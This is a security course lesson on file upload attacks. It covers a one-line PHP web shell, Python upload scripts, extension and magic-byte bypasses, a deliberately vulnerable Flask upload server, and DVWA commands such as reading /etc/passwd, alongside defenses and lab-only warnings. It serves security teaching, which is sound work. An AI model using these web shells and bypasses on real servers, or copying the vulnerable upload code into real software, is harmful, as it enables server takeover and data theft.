Step 141. File Upload Attack: Web Shell — From a Board Post to Server Takeover
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: Step 139–140’s cookie & request knowledge, Step 103’s
system()warning, and Step 94’s Flask server knowledge.
- What you need: DVWA (or a wargame lab), Python 3 + Flask + requests (for local reproduction), a text editor
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
What happens if you can upload an executable file instead of a photo to a photo board? The server saves that file to disk, and the moment the attacker accesses its address, my code executes inside the server. That single file is a web shell — a server command executor piloted over the web. Today you’ll reproduce the "upload → access → execute" chain on a local server, and experiment with bypassing upload validation’s three stages (extension, Content-Type, file content) one by one.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain what a web shell is and the chain by which "one upload" leads to "server takeover"
- Read and annotate each part of a one-line PHP web shell
- Experiment with bypassing extension filters via double extensions, case variation, and look-alike extensions
- Explain the principle of magic-byte disguise (a GIF header) fooling content inspection
- Explain why disabling execution in the upload directory is the fundamental defense
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask + requests (local reproduction), PHP for "reading" only, DVWA lab |
| Today’s commands | requests.post(url, files=...) (file upload), web shell access ?c= |
| Concepts needed | Web shells, extension/Content-Type/magic-byte validation, the upload chain |
| Today’s artifact | An upload-bypass experiment results table + an attack-chain summary note |
2-1. The Web Shell — A Door Opened by a Single File
A web shell is a script uploaded to a web server that executes, on the server’s OS, commands received via HTTP requests. Its smallest form is this one line.
<?php system($_GET['c']); ?>
Let’s read it (Step 103’s minimal PHP syntax). $_GET['c'] is the value of ?c= in the address; system() executes it as a shell command on the server. Once this file sits at the server’s /uploads/shell.php, a single visit to http://server/uploads/shell.php?c=id is an execution of id inside the server. The browser becomes a terminal.
2-2. The Attack Chain — Three Links
① Upload: get an executable file saved on the server (through validation)
② Access: learn the file's URL and open it in a browser
③ Execute: the server 'executes' that file — web shell complete
All three links must hold. Flip it around and defense only needs to cut one link — prevent saving, prevent access, or prevent execution. Of the three, the last is the sturdiest.
2-3. Upload Validation’s Three Stages and Each One’s Bypass
| Stage | What it validates | Classic bypass |
|---|---|---|
| ① Extension | Does the filename end in .php etc.? |
shell.php.jpg (double extension), shell.PhP (case), shell.phtml |
| ② Content-Type | The file type in the request header | Tamper to image/jpeg with Burp — the header is a client-written value |
| ③ File content | Magic bytes (the format marker at the file’s start) | Prepend GIF89a; to the code to pose as a GIF |
See the common point? All three are structures where the server trusts a value the client sent. Step 103’s first principle — values entrusted to the client belong to the client.
2-4. The Fundamental Defense — Turn Off Execution in the Upload Directory
If validation can always be pierced, the answer is making it "harmless even when pierced." In the web server config, designate the upload folder as script execution disabled — even if a .php arrives, it’s treated as a mere text file in that folder. Have the server rename files (randomvalue.jpg) and you also strip control over the extension. The scene you’ll measure today — "the Python server doesn’t execute it, it serves it for download" — is exactly this state.
3. Follow Along
DVWA screens appear as output examples; the principle is measured on local Flask servers. (This text was measured 2026-09-09 on Windows + Flask 3.1.3.)
3-1. The Defenseless Upload Server — A Board That Accepts Any File
The side that gets attacked (vuln_upload.py).
Input
from flask import Flask, request, send_from_directory
app = Flask(__name__)
@app.route("/upload", methods=["POST"])
def upload():
f = request.files["file"]
f.save(f"/tmp/uploads/{f.filename}") # Vulnerability: saves any file as-is
return f"Upload complete: /uploads/{f.filename}"
@app.route("/uploads/<name>")
def serve(name):
return send_from_directory("/tmp/uploads", name)
app.run(port=8330)
How to read it: it looks at neither the filename, nor the extension, nor the content. It even has an /uploads/ route that serves uploaded files back as-is at web addresses — the server itself provides the ① saving and ② access the attacker needs.
3-2. Uploading the Web Shell and Accessing It — Two Links of the Chain
Input
import requests, io
SHELL = b"<?php system($_GET['c']); ?>"
# ① Upload
r = requests.post("http://127.0.0.1:8330/upload",
files={"file": ("shell.php", io.BytesIO(SHELL), "application/x-php")})
print(r.status_code, r.text)
# ② Access — open the uploaded file
r = requests.get("http://127.0.0.1:8330/uploads/shell.php")
print("Status:", r.status_code, "| Content-Type:", r.headers.get("Content-Type"))
print("Response body:", r.text)
Output (measured 2026-09-09):
200 Upload complete: /uploads/shell.php
Status: 200 | Content-Type: application/octet-stream
Response body: <?php system($_GET['c']); ?>
How to read it: stop here and look precisely. The file went up and opens at its address — but instead of executing, its content came down in full. Our Python server treats .php not as a program but as a plain file (application/octet-stream). This is the defense state of 2-4. Had this server been Apache+PHP, the same request would have returned not the file’s content but the execution result of system(). The chain’s third link depends on "is the server configured to execute that extension?"
Why do this: "it uploaded, so why doesn’t it go off?" is the question you meet most in the field. The answer is almost always the same — saving and access succeeded, but the environment doesn’t execute. DVWA is good for learning precisely because these three links are intentionally left open.
3-3. Completing It in DVWA — The Third Link
In DVWA File Upload (Low), all three links are open (screens and results are output examples):
- Save
<?php system($_GET['c']); ?>in Notepad asshell.php. - Upload it straight through the upload form and a success message like
../../hackable/uploads/shell.php succesfully uploaded!appears — it tells you the path. That message is link ②. - Type
http://DVWA_address/hackable/uploads/shell.php?c=idin the address bar. - If
uid=33(www-data) gid=33(www-data) ...prints on the page, the web shell is complete.
How to read it: www-data is the web server process’s account. The command-execution authority you gained = the web server’s run account — exactly Step 120’s law. Now you can explore the server with c=ls -la, c=cat /etc/passwd.
3-4. Bypassing the Extension Filter — Measured
Now stand up a server with defense. A filter that rejects filenames ending in .php (DVWA Medium level).
Input
import requests, io
SHELL = b"<?php system($_GET['c']); ?>"
tests = [
("shell.php", "textbook .php"),
("shell.php.jpg", "double extension"),
("shell.PhP", "case variation"),
("shell.phtml", "another PHP-family extension"),
]
for name, desc in tests:
r = requests.post("http://127.0.0.1:8331/upload",
files={"file": (name, io.BytesIO(SHELL), "image/jpeg")})
verdict = "PASS" if r.status_code == 200 else "BLOCKED"
print(f" {name:14} ({desc}) -> {r.status_code} [{verdict}] {r.text if r.status_code != 200 else ''}")
Output (measured 2026-09-09):
shell.php (textbook .php) -> 403 [BLOCKED] Error: PHP files cannot be uploaded
shell.php.jpg (double extension) -> 200 [PASS]
shell.PhP (case variation) -> 200 [PASS]
shell.phtml (another PHP-family extension) -> 200 [PASS]
How to read it: only the textbook one was blocked; three passed. Because the filter compared only the lowercase ending with endswith(".php"). shell.php.jpg is a double extension — some web server configurations have the trap of executing such files as PHP. .phtml is another extension PHP executes. Exactly the same pattern as Step 139’s filter bypass — defense that enumerates what to block loses outside the enumeration. For the record, the Content-Type was written as image/jpeg by me in the request — if the server trusts that header, that too just passes.
3-5. Magic-Byte Disguise — Faking the File’s First Impression
When you meet a server that even inspects file content, you disguise the format marker at the very front of the file (the magic bytes).
Input
import requests, io
# Append PHP code after the GIF magic bytes 'GIF89a;'
disguised = b"GIF89a;\n<?php system($_GET['c']); ?>"
r = requests.post("http://127.0.0.1:8330/upload",
files={"file": ("pic.php", io.BytesIO(disguised), "image/gif")})
print(r.status_code, r.text)
Output (measured 2026-09-09):
200 Upload complete: /uploads/pic.php
Read the saved file’s first 7 bytes and you get b'GIF89a;' (measured 2026-09-09). A check that looks only at "is the front a GIF?" classifies this file as an image. Yet when executed as PHP, GIF89a; is merely a string that gets printed, and the PHP block after it executes normally — one file that is a GIF to the inspector and a program to the executor.
Caution: the only place to practice these techniques is your own lab. Uploading a web shell to a real service’s upload form is an act of intrusion in itself.
4. Missions & Exercises
Mission — The Upload Attack Chain and a Bypass Table
- Reproduce the 3-1~3-2 local experiment and attach to your write-up the output where "the file downloads instead of executing"
- In DVWA (or a lab) File Upload Low, succeed from web shell upload through
?c=idexecution - Reproduce the 3-4 filter-bypass experiment and organize the 4 filenames’ pass/block results into a table with the "why"
- Record the bypass technique that passed at Medium difficulty, and the next means when nothing works (Content-Type tampering)
- Write one defense that cuts each of the attack chain’s links ①②③
Exercises
Exercise 1. Explain what each part of <?php system($_GET['c']); ?> ($_GET['c'], system) does.
Exercise 2. In the 3-2 measurement, why did the uploaded shell.php not execute and instead come down as content — and what does this show from a defense perspective?
Exercise 3. Explain with the "client’s value" principle why Content-Type checking is fundamentally weak.
Exercise 4. For the GIF89a; disguise to work, how must the inspector and the executor each view the file?
5. Model Answers & Completion Criteria
Mission Model Answer
Bypass table example (per the 2026-09-09 local measurement):
| Filename | Result | Why |
|---|---|---|
shell.php |
403 blocked | The filter rejects the .php ending exactly |
shell.php.jpg |
200 pass | Ends in .jpg, so it passes the filter |
shell.PhP |
200 pass | The filter is case-sensitive |
shell.phtml |
200 pass | A PHP-family extension not in the list |
Defense table example:
| Link | Defense |
|---|---|
| ① Saving | Enumerate only allowed extensions (whitelist) + content inspection + server-regenerated filenames |
| ② Access | Place the upload path outside the web root, or forbid direct URL access |
| ③ Execution | Disable script execution in the upload directory — the sturdiest link to cut |
How to verify: ① did you see the output where it comes down locally as "Content-Type: application/octet-stream"? ② in the lab, is the output of c=id a web server account (www-data or similar)? ③ does the "why" column of the bypass table match the actual filter behavior?
Exercise Answers
Answer 1. $_GET['c'] is user input coming from ?c=value in the URL, and system() is a function that executes that string as an OS command on the server and even returns the output. The moment the two join, "browser address bar = server terminal."
Answer 2. Because our Flask server doesn’t execute .php as a program — it serves it as a plain file (application/octet-stream). From a defense perspective, this equals the state where "execution disabled in the upload directory" is on — the chain’s third link is cut, so even if the file goes up, it can’t become a web shell.
Answer 3. Because the Content-Type header is a value written directly by the side sending the request — the client — so the attacker just writes image/jpeg and done (that’s exactly what we did in the 3-4 measurement). The only thing a server can trust is file content it inspected itself.
Answer 4. The inspector must judge the format by looking only at the first few bytes of the file, and the executor (PHP) must find and run the <?php ?> section wherever in the file it sits. This mismatch — inspection sees only the front, execution sees the whole — is the disguise’s space.
Completion Criteria Checklist
- [ ] I can read a one-line PHP web shell and explain each part
- [ ] I can state the three links: upload → access → execute
- [ ] I observed the "downloads instead of executing" state on a local server
- [ ] I confirmed the 3 extension bypasses (double extension, case, look-alike extension) by experiment
- [ ] I can explain the magic-byte disguise principle (inspection sees the front, execution sees all)
- [ ] I can demonstrate that Content-Type is the client’s value
- [ ] I re-confirmed that this practice is for my own lab only
6. Common Pitfalls & Fixes
Wall 1. The upload succeeded but accessing it gives 404
Symptom: you saw the success message, but the file address doesn’t exist.
Cause: you don’t know the actual storage path. If the server doesn’t tell you, you must guess.
Fix: upload a normal image and look at that image’s URL (right-click the image → copy address). The web shell usually lives in the same folder. In DVWA, the path is written in the success message.
Wall 2. The uploaded file downloads instead of executing
Symptom (measured 2026-09-09): accessing it brings the code down as text.
Status: 200 | Content-Type: application/octet-stream
Response body: <?php system($_GET['c']); ?>
Cause: the server doesn’t execute that extension in that directory — the third link is cut.
Fix: as an attacker, you must find an extension/path that executes (that’s the lab’s assignment). As a defender — this is the correct state. Turn off execution in the upload folder.
Wall 3. I uploaded .php.jpg but it still doesn’t execute
Symptom: the double extension passed, yet it’s treated like an image.
Cause: the double-extension bypass works only on specific server configurations that "also interpret non-final extensions" (old Apache’s MultiViews, etc.).
Fix: bypass methods depend on server configuration. Even after passing, confirm execution separately — "went up" and "executes" are different problems.
Wall 4. The upload size limit catches me
Symptom: rejected for the file being too large.
Cause: the form’s MAX_FILE_SIZE or server settings.
Fix: a one-line web shell is tens of bytes — a small file is normal to begin with. The form’s hidden size limit can be erased with developer tools (again, a client value).
Wall 5. I forgot to delete the web shell file from the experiment
Symptom: my web shell remains in the lab server’s uploads.
Cause: missed cleanup.
Fix: at the end of practice, delete the uploaded files or reset DVWA. A web shell is an object that holds a door open — leave and walk away, and even in a lab, the next person (or someone on the same network) comes in through that door.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Web shell | An uploaded script that executes HTTP request parameters as server commands |
| Attack chain | ① Save → ② Access → ③ Execute — cut any one and it fails |
| Double extension | shell.php.jpg — passes the filter’s ending check |
| Magic bytes | The format marker at a file’s front — the target of the GIF89a; disguise |
| Content-Type tampering | The header is a client-written value — never to be trusted |
| Execution-disabled directory | The fundamental defense: turn off script execution in the upload folder |
Today’s Commands & Code
| Command/code | What it does |
|---|---|
<?php system($_GET['c']); ?> |
A one-line web shell |
requests.post(url, files={"file": (name, content, type)}) |
File upload in Python |
shell.php?c=id |
A web shell’s first test — checking the run account |
GIF89a; + code |
Content-inspection disguise |
f.save(path + f.filename) |
The vulnerable one-liner of validation-free upload |
An Instinct More Important Than Commands
Today’s key sentence is "uploading is the act of planting my file on the server, and if that file is executable, the server becomes mine." A file upload feature, contrary to appearances, is a deep feature that touches the server’s disk and execution authority. That’s why the first line of the real-work checklist is always the same — is this feature truly necessary, and if so, can something executable get uploaded?
And every bypass you saw today is ultimately one — wherever the server trusted the client’s words (filename, headers, first bytes), a hole opened. The criteria of defense design therefore converge into one too: don’t trust, enumerate only what you allow, and make it unable to execute even when pierced.
Once every box is checked, Step 141 is complete. Click the checkbox in the sidebar to save your progress.